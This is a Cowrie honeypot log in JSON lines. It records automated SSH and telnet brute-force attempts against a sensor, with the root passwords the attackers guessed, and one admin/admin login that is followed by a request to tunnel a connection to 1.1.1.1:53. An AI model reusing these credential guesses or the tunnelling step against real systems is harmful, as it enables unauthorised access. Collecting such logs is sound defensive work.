{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55398,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ebaa1add2f0","protocol":"ssh","message":"New connection: 27.71.230.31:55398 (10.17.0.5:22) [session: 2ebaa1add2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:59.173399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:59.190464Z","src_ip":"27.71.230.31","session":"2ebaa1add2f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:25:59.564548Z","src_ip":"27.71.230.31","session":"2ebaa1add2f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:01.327967Z","src_ip":"27.71.230.31","session":"2ebaa1add2f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:02.681686Z","src_ip":"27.71.230.31","session":"2ebaa1add2f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":54250,"dst_ip":"10.17.0.5","dst_port":22,"session":"05c21aff2ff9","protocol":"ssh","message":"New connection: 117.121.214.50:54250 (10.17.0.5:22) [session: 05c21aff2ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:12.797621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:12.801502Z","src_ip":"117.121.214.50","session":"05c21aff2ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:13.041226Z","src_ip":"117.121.214.50","session":"05c21aff2ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"1234","message":"login attempt [m/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:14.037957Z","src_ip":"117.121.214.50","session":"05c21aff2ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:15.282425Z","src_ip":"117.121.214.50","session":"05c21aff2ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.99240183830261,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:23.780249Z","src_ip":"128.199.209.169","session":"61b630fa79d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":47916,"dst_ip":"159.203.135.109","dst_port":22,"session":"5faac8fdcb96","protocol":"ssh","message":"New connection: 147.45.199.80:47916 (159.203.135.109:22) [session: 5faac8fdcb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:27.132477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:27.134468Z","src_ip":"147.45.199.80","session":"5faac8fdcb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:27.235330Z","src_ip":"147.45.199.80","session":"5faac8fdcb96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17041982","message":"login attempt [root/17041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:27.534102Z","src_ip":"147.45.199.80","session":"5faac8fdcb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:28.636651Z","src_ip":"147.45.199.80","session":"5faac8fdcb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"94abbf30f46a","protocol":"telnet","message":"New connection: 172.81.62.90:47406 (10.17.0.5:23) [session: 94abbf30f46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:31.806658Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28674,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5ab40d0c96","protocol":"ssh","message":"New connection: 87.251.64.176:28674 (10.17.0.5:22) [session: 6d5ab40d0c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:48.817682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:48.822341Z","src_ip":"87.251.64.176","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:48.916621Z","src_ip":"87.251.64.176","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:49.199372Z","src_ip":"87.251.64.176","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:49.295403Z","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:49.394757Z","src_ip":"87.251.64.176","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:26:49.624990Z","src_ip":"87.251.64.176","session":"6d5ab40d0c96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.27511143684387,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:06.081647Z","src_ip":"172.81.62.90","session":"94abbf30f46a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":32792,"dst_ip":"159.203.135.109","dst_port":22,"session":"17089cfdc17c","protocol":"ssh","message":"New connection: 27.71.230.31:32792 (159.203.135.109:22) [session: 17089cfdc17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:17.754838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:17.831622Z","src_ip":"27.71.230.31","session":"17089cfdc17c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":38128,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d514aadf567","protocol":"ssh","message":"New connection: 112.216.108.62:38128 (159.203.135.109:22) [session: 4d514aadf567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:19.590536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:19.594146Z","src_ip":"112.216.108.62","session":"4d514aadf567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:19.602668Z","src_ip":"27.71.230.31","session":"17089cfdc17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:19.802019Z","src_ip":"112.216.108.62","session":"4d514aadf567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!xsw2CDE#","message":"login attempt [root/ZAQ!xsw2CDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:20.671367Z","src_ip":"112.216.108.62","session":"4d514aadf567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:21.882154Z","src_ip":"112.216.108.62","session":"4d514aadf567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin88","message":"login attempt [root/admin88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:23.122372Z","src_ip":"27.71.230.31","session":"17089cfdc17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:24.464939Z","src_ip":"27.71.230.31","session":"17089cfdc17c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":53266,"dst_ip":"10.17.0.5","dst_port":22,"session":"03495bd762bb","protocol":"ssh","message":"New connection: 45.140.193.156:53266 (10.17.0.5:22) [session: 03495bd762bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:53.639041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:53.644916Z","src_ip":"45.140.193.156","session":"03495bd762bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:53.755649Z","src_ip":"45.140.193.156","session":"03495bd762bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:54.203485Z","src_ip":"45.140.193.156","session":"03495bd762bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:55.321319Z","src_ip":"45.140.193.156","session":"03495bd762bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45366,"dst_ip":"159.203.135.109","dst_port":22,"session":"8401ef07f31f","protocol":"ssh","message":"New connection: 87.251.79.125:45366 (159.203.135.109:22) [session: 8401ef07f31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:55.764796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:55.768716Z","src_ip":"87.251.79.125","session":"8401ef07f31f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:27:55.835592Z","src_ip":"87.251.79.125","session":"8401ef07f31f","protocol":"ssh"}
